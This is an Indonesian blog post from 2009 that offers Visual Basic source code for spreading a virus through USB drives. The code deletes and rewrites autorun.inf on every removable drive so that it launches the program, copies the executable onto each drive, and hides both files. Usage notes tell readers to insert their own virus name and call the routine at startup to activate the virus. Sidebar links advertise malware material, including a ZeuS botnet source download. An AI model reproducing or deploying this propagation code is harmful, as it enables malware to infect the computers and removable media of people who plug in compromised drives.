Code:Public Function InfeksiUSB(DigitalCat As String, AD As String) Dim FSO, USBCatLER, USBCat Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT") Set USBCatLER = FSO.DRIVES For Each USBCat In USBCatLER If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\" If DigitalUSB(USBCat & "\autorun.inf") Then SetAttr USBCat & "\autorun.inf", 0 Kill USBCat & "\autorun.inf" End If Open USBCat & "\autorun.inf" For Append As #1 Print #1, "[autorun]" & vbCrLf & _ "open=" & USBCat & "\" & AD Close #1 If Not DigitalUSB(USBCat & "\" & AD) Then FileCopy DigitalCat& AD, USBCat & "\" & AD End If SetAttr USBCat & "\" & AD, 4 SetAttr USBCat & "\autorun.inf", 4 SetAttr USBCat & "\" & AD, 2 SetAttr USBCat & "\autorun.inf", 2 End If Next End Function Public Function DigitalUSB(DosyaAdi As String) As Boolean On Error GoTo CekUSB Call FileLen(DosyaAdi) DigitalUSB = True Exit Function CekUSB: End Function Sub Main() InfeksiUSB App.Path, App.EXEName & ".exe" End Sub Cara Pakai : Pada code ini (ada .exe,-> letakkan nama virus kamu bisa jg diganti *.Vbs,etc..) InfeksiUSB App.Path, App.EXEName & ".exe" pada form load / dimana code virus kamu letakkan untuk mengaktifkan virus kamu cukup gunakan / panggiljika code ini di letakkan di module : gunakan code ini :Code:call InfeksiUSBCode:NamaModule.InfeksiUSB
Selasa, 29 Desember 2009
Code Infeksi USB
Tags
Artikel Terkait
- Jakarta - Kaspersky Lab mengupdate data 50 malware paling berbahaya di Indonesia. Da
- Virus-Virus HandPhone Terdudul >.<' 1.CABIR Cabir merupakan merupakan virus Sy
- Download
- Source Code of ZeuS Botnet Version: 2.0.8.9 from thehackernews.com Download Now&nb
- VIRUS BARU YANG SANGAT MERUSAK DI AWAL TAHUN 2010 Sebuah virus baru sudah ditemukan, d
- Mengenal Virus-Virus Dudul.. ( Part I ) : 1. Rieysha varian Satu lagi varian da
Langganan:
Posting Komentar (Atom)
EmoticonEmoticon